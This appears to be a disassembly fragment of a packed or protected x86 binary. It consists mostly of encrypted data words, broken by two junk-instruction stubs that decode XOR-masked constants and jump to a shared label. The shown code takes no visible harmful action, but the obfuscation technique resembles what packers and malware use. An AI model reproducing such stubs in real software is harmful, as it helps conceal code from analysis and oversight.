		dd 0F0686B79h, 0FF4B6785h, 7511FF4Dh, 3D0DC7C3h, 710BDFA4h
		dd 0C25B4D18h, 3E710BDFh, 2F7016ABh, 4EEC2DD1h,	0C441E9E3h
		dd 40710B49h, 7E2BECA6h, 4EF807C7h, 0BFF069A3h,	7300710Bh
		dd 484B1E4Eh, 79139865h, 172B816Ch, 20CFD5C3h, 0F288936Ah
		dd 0EE000000h, 14747D1Fh, 7B801271h, 7BF87411h,	2AA2432Ah
		dd 5F09B247h, 920B1FD9h, 0EE770EF0h, 62C9F283h,	6666876Fh
		dd 0D5A58563h, 2C770EF4h, 58A10B6Bh, 216C0DB6h,	592C88AFh
		dd 0CE5331B6h, 50C68627h, 0B4D4D9BDh, 0A1EC5BD1h, 59C36703h
		dd 0C77511A1h, 0DFB75610h, 79A43D0Dh, 4D18710Bh, 49660AE6h
		dd 0DB6583Eh, 0A05708A6h, 0EDF10128h, 0A8803EBAh, 6F0975ABh
		dd 6C308809h, 0FD7F9491h, 58793656h, 58270EBCh,	0F9AA4F1Eh
		dd 41079217h, 940D1DD7h, 0E87707F3h, 95FBF4B7h,	44D38D88h
		dd 0CFF485E8h, 0D93B9FB4h, 578A62E6h, 924h, 167A7B1Eh
		dd 9BC9F283h, 355B6036h, 0A52BCCA0h, 0D6BA3FD0h, 24F5A15Ch
		dd 9464C99Fh, 0AE87D13h, 771EE3E1h, 47431276h, 4DB6AE3h
		dd 4526D671h, 28BC452Ah, 0F1FA9F6Eh, 7E7F167Bh,	39D9AC6Ah
		dd 3BB1D4B4h, 0A2432AB8h, 0FB0472Ah, 0F4FD9273h, 177BF194h
		dd 0EF04AC7h, 5B3CD177h, 0D5533656h, 0B4D8DDB0h, 4579490Ah
		dd 6E2A4B78h, 18946388h, 4B1DA275h, 0FEEE0FE6h,	0EBA3F72Dh
		dd 26C7E304h, 0B3D7AD52h, 6D3D6C70h, 0C56B99h, 0F0940000h
		dd 0FF4B6785h, 75120911h, 0E830580Fh, 710BC86Bh, 41577BB9h
		dd 936A263Bh, 0CEF38568h, 0A16872h, 6F8B0000h, 770EF0F1h
		dd 7630AED9h, 11FB58D2h, 0B6B9E675h, 0BF04DB23h, 0A63F0BA7h
		dd 1A710B82h, 19ECE04Fh, 0B6E0B978h, 7F683C81h,	67618A68h
		dd 0B2F59762h, 0CE9129C7h, 162A3749h, 9DDB5115h, 0DB6F29E3h
		dd 710B0A42h, 68E12BBEh, 0D4710B0Ah, 0B583AB01h, 0A36F0E18h
		dd 2FCD5034h, 0FB58F159h, 31A4770Dh, 0A37422AAh, 0F7AF32Bh
		dd 0B3E47430h, 0A8F4070Dh, 0C0E98EDDh, 0D867DD88h, 9821F7ADh
		dd 700E95F0h, 0DB63DAAFh, 9E72944h, 24A5FB4Fh, 0C637511h
		dd 4207416Ah, 0FF4A6B0Fh, 4B974E9h, 0F08F0000h,	0FF4B6785h
		dd 75120C6Dh, 0EB7A34A3h, 620AE607h, 95D7E3B4h,	5B2D305Eh
		dd 0E75D6634h, 0BCA4AC7h, 6620C671h, 0BCA49C2h,	9F20B771h
		dd 0A595E834h, 4E72CE71h, 21061E1Ah, 78C1936Ah,	72000004h
		dd 0D8A347EEh, 0D68C9CDAh, 54751209h, 0C15DF652h, 34A3710Bh
		dd 987C11A9h, 56CF5B17h, 0AA710BC1h, 2404413Fh,	0D7C8F254h
		dd 0F7B3315Ch, 4BEA6D53h, 4C1CCBC5h, 1452503Bh,	47A6E334h
		dd 0A54A59CBh, 2A7491Ch, 0E941FBB7h, 0C74BAC70h, 0E5A319CCh
		dd 32B35A2Bh, 0DCB10F5Ah, 4DD0B439h, 0FB6A05AAh, 26491C0Eh
		dd 7268B46h, 79180000h,	0F08D1074h, 5E3085CBh, 0CAA23755h
		dd 3DD2A725h, 0A352D0B4h, 0CB9922F7h, 7F6D9266h, 0EDE308EAh
		dd 1C707518h, 6CE54545h, 0D07104D9h, 5E014320h,	0C8DA35F9h
		dd 0F2F39B86h, 11E48967h, 0C0CBFCECh, 5EA48422h, 0DC751179h
		dd 0FE9C7109h, 700297F5h, 8EDEDFB3h, 9A1C4CDBh,	209C25CBh
		dd 0B518F08h, 6167E471h, 0D3B2710Bh, 2EFAB43Dh,	710B61B5h
		dd 57E05C0Bh, 36F08E2Ch, 9EF4BF57h, 3907F7EAh, 0C287C1ACh
		dd 0B744666h, 7FEA6F0Fh, 0C248C56Dh, 16F8770Eh,	8116FBEDh
		dd 81B31078h, 6ED2FD5Dh, 24263E3Ah, 1321996Dh, 52000000h
		dd 4B6785F0h, 120BA5FFh, 9CCC9B75h, 2741h, 85F0FC00h, 27D35AADh
		dd 84901311h, 0E98A2F44h, 7D35802Fh, 11D40FADh,	31C6AD75h
		dd 721A9F70h, 34C58817h, 2BA8208Fh, 3A2432Ah, 0E6DF4A06h
		dd 312E23CBh, 0D000006h, 0B61B496Eh, 2588DCE5h,	573AAE53h
		dd 0C7AA3EBFh, 69DB8932h, 9217F8AEh, 66876BFEh,	0F4FD9F62h
		dd 456A0D90h, 10387E07h, 7104D877h, 0F0B033C5h,	0FF4B6785h
		dd 751208EDh, 340E9344h, 0B7BA6467h, 0F470DFE0h, 0F35E0EDDh
		dd 25F59B1Ch, 4E46D227h, 0EC821F2h, 0EAE203EBh,	0C00DAFFh
		dd 525724ABh, 811F69D6h, 0DBD9A4C3h, 0F0ED8B9Fh, 592C53C8h
		dd 0F5A32B7h, 83C590B1h, 30545D3Eh, 0D0EE0C77h,	0F2993216h
		dd 0A8804FC2h, 4FC2F22Fh, 10C7DE8Dh, 7C4EDA94h,	0F24DC60Fh
		dd 40DD6567h, 0F055C61Eh, 63CE9E23h, 0FAFF9D8Eh, 76AE7D6Fh
		dd 53C19022h, 86A25C0Fh, 55C61F0Dh, 4FD3E473h, 214926B4h
		dd 152F1490h, 0D2782532h, 112h,	8C6C016Dh, 0F99C616Bh
		dd 6AF194F4h, 5856218Eh, 9180A1Eh, 43167512h, 2CD1A409h
		dd 0BD42D5B8h, 0EF05032Bh, 251B4E46h, 0CAC192F1h, 0AD13A7E4h
		dd 0E689DC58h, 573E83C1h, 9A2CA585h, 0C59055C6h, 127871B4h
		dd 0F65D723Ah, 6847D5B8h, 0CA9B0C0Ah, 9E1AE142h, 0DF9748CEh
		dd 0F132E38h, 0D0CEDE5Ah, 84330122h, 4B2264A8h,	0BC5326AAh
		dd 6E16513Bh, 0B4D4DDB2h, 1C2C4AD1h, 710B2263h,	115E32D9h
		dd 1A2E4866h, 6F0E2B48h, 947913C6h, 5E8FC01h, 9D1B4D72h
		dd 0CB9D26C8h, 790A229Eh, 0BB770E1Fh, 0D1BC2CD5h, 0ABD0B83Dh
		dd 70F54589h, 0E87DE83Ch, 80193107h, 0FC770E1Fh, 9FCA8269h
		dd 4A94C21h, 4781B840h,	0DFA9233Ah, 5B1583C1h, 0BA0756CFh
		dd 35C7AA02h, 2289DC8Ch, 0AB4C2346h, 0A9D01921h, 82480F9h
		dd 0CAEB82C4h, 0B035D9ACh, 1EA375D8h, 308C1B4Eh, 8126C95Ch
		dd 1DD5A0C7h, 82A7A47Ah, 24422964h, 0FECB9A04h,	0B7D58082h
		dd 4852h, 85F0E100h, 0B9914B67h, 770EF020h, 3573C99Ch
		dd 120BBB15h, 9CDA8175h, 0F85028C9h, 710BC35Fh,	29A30EDDh
		dd 0C5A8C0BCh, 63DDB338h, 4A7A29B0h, 0AC0816E1h, 0A2042BEBh
		dd 0E6A0DEDAh, 0F24E6F07h, 0AF139DAh, 0F820B771h, 0A2432A7Bh
		dd 0F8F6812Eh, 0DFC6ABEh, 0AF3A7512h, 1BA07213h, 38E98E5Fh
		dd 6CC85758h, 0C2E7B518h, 1492FD8Ah, 0D688CE5Ah, 73E66F0Eh
		dd 0C454F119h, 4B36770Eh, 433515ADh, 397511E1h,	0C27C3A52h
		dd 0BF0ED66h, 28845371h, 0BF08300h, 0D8DDBD71h,	0AB502DB0h
		dd 90C47821h, 7DA19F26h, 6A52617Bh, 181E93h, 0F0990000h
		dd 0FF4B6785h, 75120BA5h, 0D3B2CC9Bh, 0AF3FB53Eh, 24B2h
		dd 85F0C100h, 41FF4B67h, 0FF7511EFh, 0DEBF4E68h, 492EB3D5h
		dd 0D6BD28A0h, 0E184325Ah, 7F841613h, 17ED786Dh, 975E019Ch
		dd 6953F4FBh, 9A4537B4h, 0EA64C9C5h, 9E1AE106h,	0E08324CBh
		dd 0E6DF946Dh, 4905D8B0h, 25000003h, 0AE335156h, 0DDA024CDh
		dd 4FD2B63Bh, 0FF4206A7h, 71F3911Ah, 0FAFF90C6h, 4E6F0396h
		dd 0DCE5B71Ah, 0AD522588h, 820663Fh, 7104D58Fh,	2A985BEDh
		dd 32B35A43h, 5434BD5Fh, 5F22AA31h, 165137B8h, 0DEE3B56Bh
		dd 0A952238Eh, 70DFAA3Fh, 33AC7C36h, 89770EF0h,	2866C2h
		dd 7512004Ah, 0E17ACEC8h, 5F710BE0h, 83AB3D88h,	710BE106h
		dd 35575C3Eh, 0AA22C7A8h, 0B9194DE3h, 0F2E62A16h, 936A3DEAh
		dd 4AE5h, 47011600h, 0EF06AE3h,	16FBD677h, 3EEFBEDh, 0AE0AAF4Ch
		dd 3E787601h, 0CB326E9Dh, 3ADE4385h, 2BB6D3B5h,	8537134Dh
		dd 9C7511C6h, 2A862BC9h, 43225C0Bh, 0DCAC08B1h,	0BC89734h
		dd 7BAF9571h, 6A2A677Dh, 0EC6093h, 1930000h, 6464896Ch
		dd 0E6C99FABh, 8D188E51h, 0F0BB5237h, 0CD945473h, 76D2EC76h
		dd 770E1EDDh, 9129B423h, 1E9A1FFCh, 1D0EE34Eh, 71147479h
		dd 781FE2EAh, 0E5881577h, 8C7C8CC0h, 0CE770E23h, 54C28627h
		dd 41ADE083h, 45231EF8h, 20A84D20h, 0C0FEFC87h,	0E7A92206h
		dd 4017770Eh, 709EAAE4h, 0EE751205h, 2F5A157Bh,	7C09157Bh
		dd 5B26CA8Bh, 6C160B1Fh, 47126F09h, 0CB55A2Bh, 670FDE58h
		dd 0F287EA46h, 0CFC5B6C9h, 0E484E6D9h, 1EB69h, 33B44700h
		dd 862BC85Dh, 10997FC2h, 0E005E97Ch, 737819ECh,	3268971Dh
		dd 0AD30545Dh, 0D1A428CDh, 472ABE43h, 38590FB0h, 0D431AA7Eh
		dd 0FD8F7104h, 886C017Eh, 13E48967h, 3216D0EEh,	770EF099h
		dd 90F470E7h, 0DCBD6A0Dh, 9A0448D7h, 0F75329CBh, 770EF05Eh
		dd 20A837A2h, 0AD5226A5h, 5E015CD7h, 3677BF0Ah,	98279D95h
		dd 0F9B3CFEDh, 807C8114h, 117116A8h, 87C19475h,	0B51E27Fh
		dd 777C1271h, 0C6EB8815h, 0FD211F86h, 0DA0E325Dh, 69B2C6DEh
		dd 0DC8193h, 1320000h, 2FD4A647h, 0EF064FDh, 4ADED877h
		dd 770EF0D1h, 572DB82Fh, 325A5B32h, 8690D384h, 72FC69F1h
		dd 26FE93F6h, 0E098902h, 0FB98F777h, 0CC9C6BF6h, 0E0E5424h
		dd 0CEEF8677h, 6CFEFB0h, 5852092Eh, 325731BAh, 0D0A5C9A7h
		dd 97D0B83Dh, 0DDB0CEECh, 0B1D4B439h, 9FAD7D3Bh, 1D7511C4h
		dd 87148D9Dh, 0FD68710Bh, 0E3B55816h, 900E62DEh, 8B6D1AFDh
		dd 921D9B66h, 5E6331E7h, 0B2CC5B0Eh, 9226096h, 6F0BDE6Fh
		dd 9CF0F99Eh, 20436809h, 0E6D98D59h, 0BDE96404h, 0B1000000h
		dd 3A8FDDE2h, 0A93C5059h, 0DBAE22C7h, 4BDEB233h, 0E54F1DA6h
		dd 668B6C3Ah, 0FAFB9F62h, 48710396h, 0D9DEB104h, 9CACEA8Bh
		dd 7104D403h, 134B779h,	0F06AE347h, 3D6770Eh, 8A2FC0A5h
		dd 1B9C73C6h, 432A0E75h, 936104A2h, 8D6B7E6Eh, 787D10FDh
		dd 0B2305B14h, 0C7AB3AF4h, 37E9A626h, 36107AD0h, 78502CBBh
		dd 7508F604h, 0A8355702h, 0D9AC20C5h, 0FD7B136h, 63DC38D5h
		dd 61396DC3h, 967B698Eh, 28EEFEFFh, 2F18D777h, 29DC821Bh
		dd 566BFE3Bh, 11EFFC44h, 7517987Ch, 0D6B94C0Eh,	33675BD1h
		dd 7D13947Bh, 0E8E005E8h, 0F75h, 5E018800h, 791ADE4Bh
		dd 60A82F70h, 0EAE9A503h, 26A6472Ah, 5933B45Bh,	0CB9D26F4h
		dd 7B6D9266h, 90F80196h, 5476C0Dh, 0B9D3D4B8h, 2FB942D4h
		dd 4008B142h, 0E689560Bh, 4C681h, 0EE810000h, 4, 5C243487h
		dd 68242C89h, 7FEAh, 68241489h,	5652h, 51243489h, 3F3C16B9h
		dd 2CC98115h, 52487126h, 0C330A7BAh, 42DAF758h,	1B36F281h
		dd 0D1010FB6h, 59CA895Ah, 4EC81h, 24890000h, 24048124h
		dd 4, 4EC835Eh,	8F241489h, 348B0846h, 0E6895624h, 4C681h
		dd 0C6810000h, 4, 5C243487h, 5724148Bh,	0C781E789h, 4
		dd 8704C783h, 0E95C243Ch, 0FFF95E59h, 7DB8D30Eh, 3060A1Eh
		dd 35E0FFC5h, 0F44D0B36h, 0DF17D84Ch, 6018D04Ah, 4E16D716h
		dd 940C3F17h, 7349D3F7h, 0A32E006h, 7F1E8BB8h, 1D43D768h
		dd 626F5E4Bh, 3741C812h, 17FC528h, 70D097Fh, 0AB6B249Bh
		dd 6144CE45h, 842413Bh,	6E0D57B4h, 0F827F53Fh, 0D02A3F3Bh
		dd 0BA7489F1h, 5A6FE613h, 115BD87Dh, 2A488616h,	8948B9E6h
		dd 697280FEh, 993C665Dh, 0B474424Dh, 68069ED0h,	0EB1239BDh
		dd 703BA204h, 511E90Ch,	0DDBC0000h, 5421B4D8h, 0C25439AFh
		dd 2EC6AB39h, 0A176DB89h, 3FFE7418h, 6F7D866Bh,	93F1F69Ah
		dd 1476C0Eh, 0B0D4D9BCh, 881A9E1h, 747104D2h, 432A27C4h
		dd 0DCC44B68h, 4BE20881h, 4B30D8A1h, 0D8B92CBBh, 412CB9D3h
		dd 1AFC9107h, 1692F791h, 77159E73h, 0E2EA0BE2h,	1577781Fh
		dd 86C6EB88h, 8EFD211Fh, 86B83BCDh, 65C30698h, 4486D00h
		dd 9C25CB9Ah, 0AAF4D20h, 9821F346h, 688D6DF0h, 15397B60h
		dd 9F58A576h, 67F2C449h, 0ED16E489h, 62836AFFh,	0C744C26Ah
		dd 19FE770Eh, 0C76EE743h, 7D2770Eh, 0AC4DD0B8h,	31ED4507h
		dd 1206ADEDh, 28D2EACEh, 538D996Dh, 2E000000h, 2AA2432Ah
		dd 0EF08702h, 43978577h, 6D524F55h, 10899h, 2AAB0000h
		dd 3ED77349h, 82770EF0h, 742E48D7h, 0EF03BD4h, 5EDA8177h
		dd 17E5880Eh, 11EFFA92h, 721A9F7Ch, 791E07EFh, 3AE3E570h
		dd 0FB98D206h, 680F92F6h, 0F6970147h, 95F09821h, 452AA41Fh
		dd 0B4412CBCh, 0CA8223F7h, 0F558309Fh, 61CC9C21h, 73616B90h
		dd 16BF1F43h, 2CA58354h, 4322280Ch, 0EF456E0Ch,	2ACF87CBh
		dd 0B055C381h, 0AE4F27E0h, 6D0065C3h, 0DBBD0048h, 25F598D6h
		dd 175EF753h, 37A2770Eh, 26A520A8h, 0A421AB50h,	39DDA0C8h
		dd 0AC49D4B4h, 6FCA4507h, 17BC54D6h, 0B5F67DFh,	27BAF41h
		dd 5B261F87h, 0D0C01408h, 996D42DCh, 849Bh, 452A2400h
		dd 86BFB76h, 53F7939Dh,	770E67BAh, 79C45306h, 0C7EC826Fh
		dd 0A05A1C85h, 0E680F88h, 2FE6D77h, 0BF50EA3Eh,	2EC3563Ah
		dd 0CFA6FC4Fh, 93F28728h, 3DAF3A42h, 513BBC50h,	18184CF0h
		dd 996D1414h, 71D3h, 1EEFA900h,	4D187079h, 0EBEC25Bh, 0CDAB3E77h
		dd 0BC452A56h, 658E6302h, 0E28A6663h, 3A747D1Fh, 0A820C9ABh
		dd 0D5979C3Dh, 7D8D56F0h, 0D30FE787h, 5322F78Fh, 751254B3h
		dd 0DB89148Bh, 8C6C0198h, 1BF88D6Bh, 98678C6Eh,	0D5A746F0h
		dd 5F4BD2E6h, 0F8478D2Ch, 6DBDF590h, 770E82F4h,	7279D48h
		dd 770E8289h, 6F499D83h, 996CE455h, 112h, 442AAD00h, 5D0FB047h
		dd 6D2BBD08h, 0FC32B7AAh, 0E05CCC6Dh, 83C5EA8Dh, 0FEB0E4D8h
		dd 0B2FD9318h, 0B99129C7h, 7511408Fh, 0A30E5E0Dh, 0D0A52BCCh
		dd 6FFEB83Dh, 67626A8Bh, 0BE59E189h, 76710B42h,	0EC711BA0h
		dd 0F0E2EA0Fh, 2FC698CCh, 3C8BDE8Eh, 1A5C80BCh,	7A347273h
		dd 0B4235AEh, 60DC8B71h, 0D1D6B90Ch, 71432AB7h,	2D584CAEh
		dd 10BE3A0h, 710B9288h,	0F29A61F4h, 26F49951h, 0CF13279Dh
		dd 9589FB9Ch, 0BC1715E8h, 25CAADC0h, 64788CA7h,	1C779369h
		dd 80000001h, 4B6785F0h, 1208E1FFh, 0CF5B5F75h,	710BC856h
		dd 0C35CECAAh, 39710BC8h, 0EC80C752h, 79C481CBh, 0CAEB826Fh
		dd 0A7751886h, 2CC3A602h, 0B657C18Bh, 0DA8FD9DEh, 43640B5Eh
		dd 769A9A09h, 3054593Ch, 6A29E9F3h, 65E693h, 1110000h
		dd 91B98F6Ch, 770EF0F8h, 0AE0A9144h, 41797701h,	0E811E687h
		dd 0F0D33C0Ch, 8249770Eh, 4B7001E4h, 1B4D7604h,	729AF24Eh
		dd 770EF0D9h, 894B884h,	86407E7Eh, 0EF029A2h, 0B637DB77h
		dd 0F90B3D6h, 6B4714E6h, 4F25B002h, 0F3D03911h,	534C770Dh
		dd 16D41DFDh, 0BA2EB5E3h, 678C69FCh, 6D9489h, 0F02F0000h
		dd 0F1FA9F85h, 0FA9FF297h, 67F297F1h, 1415FF4Bh, 5C0B7512h
		dd 29CEA10Ch, 0BE3FD6BBh, 0CC16062Eh, 9D51710Bh, 935E3149h
		dd 86EBA09Ah, 0BD8D25F3h, 710BC324h, 6266CD98h,	2BC3A45h
		dd 5CD2426h, 9DCF9A6Fh,	30585D30h, 0FDECCBADh, 0A7BB06DCh
		dd 0E87517E2h, 38EBFD06h, 8566D004h, 8EF97BAFh,	0D0F25610h
		dd 2E74FF57h, 0F0AED5BBh, 0BA4B6785h, 19572DD2h, 8FA0F31h
		dd 582D6D75h, 821B0DB6h, 0FE7104D1h, 61CC9C6Bh,	0BD7B698Eh
		dd 0D1AE2703h, 0BD5E7104h, 0F24E1D34h, 95F7F89Fh, 4EDAEE4Dh
		dd 0C2162A7Bh, 2C0AE588h, 4B4995DEh, 7CC18712h,	0E9741499h
		dd 0E3E8E005h
		dd 32C59DC1h, 0A34ADF8Dh, 39CC4A02h, 5035575Ch,	11C1D4h
		dd 0D4B90000h, 0BC29A344h, 6C0143C0h, 67626A8Fh, 2AD6CD89h
		dd 5B26A647h, 0F45933B4h, 66CB9D26h, 967B6D92h,	0D90F801h
		dd 0B805476Ch, 0D4B9D3D4h, 422FB942h, 0B4008B1h, 388268h
		dd 243C8900h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	edi
		mov	edi, 60A1F96h
		mov	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		push	esp
		mov	esi, [esp]
		add	esp, 4
		push	ebp
		xor	dword ptr [esp], 13612BC2h
		pop	dword ptr [esi+8]
		push	edx
		mov	edx, 8
		add	edx, esi
		xor	dword ptr [edx], 13612BC2h
		pop	edx
		mov	esi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_5439D9
; ---------------------------------------------------------------------------
		dd 0B8708B33h, 60A241Ch, 0E0FFC503h, 214069Fh, 65BD3187h
		dd 12AB7917h, 75FF0618h, 240ADB5Ah, 40A47077h, 4CE5F0CEh
		dd 3A1504EBh, 0B5E95F95h, 0FD000004h, 66CB991Eh, 95786C95h
		dd 7EAFE03h, 0B71A4E6Fh, 398BD9E2h, 22C7A8FEh, 0B637DBAEh
		dd 4AD4FD2h, 951AFD40h,	40E8AEF7h, 7104CCC7h, 2AE08335h
		dd 472AA243h, 0F65B09B2h, 63CE9E1Fh, 9C616B8Ch,	2B92FAFFh
		dd 0E689C115h, 5C3E83C1h, 0E6873157h, 7D10EC15h, 0EF721A9Fh
		dd 0F9E2EA0Bh, 0AA2307C1h, 68770EF0h, 466DA31Ch, 0A33669E4h
		dd 59AA2307h, 4316770Eh, 0F58DD1E5h, 7BCE8227h,	0D1791394h
		dd 770E5933h, 51347F5h,	996CBAFFh, 54F8h, 5E017B00h, 624BCF6Eh
		dd 5E33899Dh, 8E5636B7h, 770E7B13h, 0E1F71B19h,	996CDBDBh
		dd 194h, 492A2700h, 0B84528A0h,	25DF5933h, 0EF08C05h, 0D7D8BC77h
		dd 9603A3FCh, 506A262h,	0C7AFC2BEh, 41FFA626h, 33B8451Dh
		dd 8025C85Dh, 4C7507E6h, 9FF3491Ch, 0BC452AE4h,	0FB4412Ch
		dd 944CA073h, 0CCB9B32Dh, 84C18B2Ch, 782B4339h,	10F590C4h
		dd 74117B7Ch, 0FF0495F8h, 0BC5E2FE9h, 2BC85537h, 3483C686h
		dd 0BD42D5B8h, 0D8B0462Bh, 0E6CD770h, 0AC4E2577h, 0B5004507h
		dd 31EFBE2Eh, 64C47EEDh, 770E6CEBh, 52E8A51h, 996CC80Fh
		dd 60E8h, 452A0B00h, 0AF412CBCh, 1FDB420Ah, 4903A84Eh
		dd 4DC6621Ch, 0B3770EF0h, 20744824h, 0FA98896Eh, 723897F1h
		dd 8646F3BEh, 77339E65h, 73F46DBDh, 9D48770Eh, 19FE4327h
		dd 8115F890h, 9BCDF684h, 0B86963CEh, 4C405084h,	2B996CCFh
		dd 28h,	0BC452A54h, 0EB3412Ch, 0E62AE65Eh, 0A226CBACh
		dd 0A0492A31h, 0F0820028h, 9084770Eh, 5250544Ch, 10F996Dh
		dd 0A8000000h, 2DBF442Ah, 0CCF59A6Bh, 1E73C99Ch, 6D167677h
		dd 0BF600357h, 0F246D627h, 2ABF3533h, 9E29BF44h, 6DBDF5F3h
		dd 7511F663h, 946104BEh, 20687D6Fh, 710BD5A7h, 0CBEA4615h
		dd 0ED83621Ch, 0CFF481C4h, 0E1B41971h, 522588DCh, 0DA7D3BADh
		dd 0BEDD5AF4h, 735BD120h, 710B15D8h, 482EBF79h,	0C0BC29A3h
		dd 0FF96A8FCh, 7007EAFEh, 0DDB01D4Fh, 2113B0D8h, 2DD2A5FDh
		dd 777074BFh, 436F9369h, 88000001h, 4B6785F0h, 1208E1FFh
		dd 0C0885F75h, 77159A7Dh, 535424C9h, 5639AC39h,	0DFB6DB51h
		dd 4C238EDEh, 0C86221ABh, 39535825h, 0B8ECD0ACh, 565B38CDh
		dd 5D119936h, 0A1EF0A70h, 640B5EDAh, 0DEE60D43h, 999369E9h
		dd 75h,	4A2D3CDFh, 0AD1F0A56h, 86F05CD7h, 0BA8E4866h, 770EF021h
		dd 9AAEC89Fh, 770EF101h, 520CE87Fh, 0D14ADE98h,	2F770EF0h
		dd 0A3EC3CB8h, 99770EF0h, 656C7E21h, 0DF54948Dh, 0E2054CDh
		dd 0EE13E477h, 3DA8EBFEh, 75EE3656h, 68770E20h,	0EA940054h
		dd 30586132h, 0AD020455h, 7CAE7F63h, 871D991h, 74770E88h
		dd 0A216C9E1h, 27DA0FD6h, 92771B91h, 86h, 6785F021h, 3A69884Bh
		dd 6AB243FAh, 8E78D08Eh, 8C7511CBh, 4B228FD9h, 0BC5326AAh
		dd 84C740E8h, 0A635710Bh, 7969B1DBh, 0EE710B85h, 0D2D7A548h
		dd 6D512FBAh, 698E6139h, 2703BD7Bh, 710B84AEh, 5EE94712h
		dd 5AA4D33h, 0FFBB0643h, 5A96C2Bh, 7711C46Fh, 0AA4F2CC1h
		dd 0D3D4BBCEh, 0AEF232B9h, 0A0492EBFh, 20A84D2Dh, 1560CFA5h
		dd 904FDB97h, 0E074FFCDh, 0CBA83D75h, 33DBA626h, 208FDAB2h
		dd 4D2BD0ADh, 4701BA39h, 0EF06AE3h, 0A503D677h,	0E6896F1Ah
		dd 0EC3C7AC1h, 7509152Dh, 82345403h, 0CCE760C8h, 0F82B7104h
		dd 0E533B93Fh, 522EBD94h, 3157583Fh, 0A424C9ACh, 6BE08F9Ch
		dd 1B4FE547h, 450BAC43h, 0F0981DF0h, 4A64896Dh,	845C3D89h
		dd 328E92E3h, 0CF13115Ah, 89DFE0B7h, 0C3545124h, 0AC3BAE3Eh
		dd 68C07A3Ch, 177962EFh, 3F229E4Dh, 8, 0A0450346h, 0D44F25CEh
		dd 26A6472Ah, 5933B45Bh, 0CB9D26F4h, 7B6D9266h,	90F80196h
		dd 5476C0Dh, 0B9D3D4B8h, 2FB942D4h, 4008B142h, 42CF680Bh
		dd 4890000h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edi
		push	ebp
		mov	ebp, 5A5E78BAh
		mov	edx, 5C545C6Dh
		xor	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	esp
		mov	edi, [esp]
		add	esp, 4
		push	edx
		xor	dword ptr [esp], 4AA875BBh
		pop	dword ptr [edi+8]
		push	edx
		mov	edx, 8
		add	edx, edi
		xor	dword ptr [edx], 4AA875BBh
		pop	edx
		mov	edi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5439D9
; ---------------------------------------------------------------------------
		db 9Ah
		dd 1C2B3264h, 71D24058h, 0A28EDB8h, 0FFC50306h,	0F76810E0h
		dd 0C24E2700h, 1E4B054Dh, 70B9911Fh, 48216D0Eh,	62533345h
		dd 0D1E6144Ch, 0BE41B44Bh, 0D070A54Dh, 8C060E0Dh, 0D2CB685Eh
		dd 0EE89F876h, 191B3A67h, 0DD63C40Dh, 9B7D787Fh, 2C45E454h
		dd 0C2AFCA1Bh, 15B7E071h, 0AC8B5210h, 990CE36Dh, 898D8D0Fh
		dd 31060A2Ah, 30079BDh,	0C51AB806h, 8D89179Ch, 60331D1h
		dd 2D3D9509h, 85C70603h, 60301E1h, 6030h, 8E9h,	1BB87000h
		dd 0F4451808h, 0BD85C72Fh, 60321h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 2D0BC350h, 71578E3Ch, 82443E9Ah, 0D3B70F60h,	308D858Bh
		dd 0FF610603h, 322F9B5h, 21E7BF06h, 95FF7494h, 6032691h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 7EC35343h
		dd 6A4244h, 1FB995FFh, 0C08B0603h, 55AB18EBh, 5A4D421Ch
		dd 1E336F8Ah, 0DB770D70h, 0CFE12627h, 980036CDh, 4EBA8FFh
		dd 3ECC6B12h, 56AE9h, 0F7F89B00h, 4A6F0C91h, 0D4DDB306h
		dd 0A4492DB0h, 37BC5D20h, 7624D351h, 0E17418A1h, 15F8EC11h
		dd 9B6E6287h, 0C49DF3F4h, 0C6ED66C2h, 0A1537104h, 0A2432AC2h
		dd 0BC946104h, 0EF0F36Ch, 37824977h, 0D4B43055h, 4D03A849h
		dd 0B05A15F8h, 0A72008A2h, 15770E96h, 60DB3146h, 6AF7917Ch
		dd 1CF49A83h, 0ED5930Ch, 9762E977h, 430590F5h, 0DA941DFEh
		dd 0D58F0820h, 7EED770Eh, 7723EA82h, 0FB3EAAA4h, 0C3B9CE12h
		dd 0FC93ABFFh, 720095FBh, 0E4B61B49h, 50208DDFh, 0BE503DAFh
		dd 398429CDh, 872CC2AFh, 7BAF97C5h, 0E5252DBh, 4F1DA674h
		dd 9A3317D1h, 0E6770E43h, 8AC2E38Bh, 791D70DFh,	0FB711474h
		dd 0EEFEFF96h, 0E43C846h, 11967A77h, 0FD02EA77h, 81D5E9EBh
		dd 62B66A31h, 68E14903h, 0D4770E43h, 7AC4201h, 9FA40045h
		dd 996CA585h, 0F2AB4F1Eh, 0B309941Dh, 65A9h, 432ACA00h
		dd 87022AA2h, 85770EF0h, 4F554397h, 8996D52h, 1, 0E34701ABh
		dd 770EF06Ah, 0C0A503D6h, 1DF08E33h, 92FA767Bh,	3456E0Fh
		dd 0B7D1D6BEh, 54EE320Eh, 0CA8422C7h, 0EF0E57Eh, 308C5B77h
		dd 6D03E25Ch, 0F285E844h, 0E5E6335h, 0F027A088h, 0C695770Eh
		dd 3EF8EC7Bh, 0F02BA484h, 0CA91770Eh, 6C01F56Eh, 0E78A668Bh
		dd 12FFE912h, 0CFF08081h, 0F4856860h, 62309DCFh, 0AA860F59h
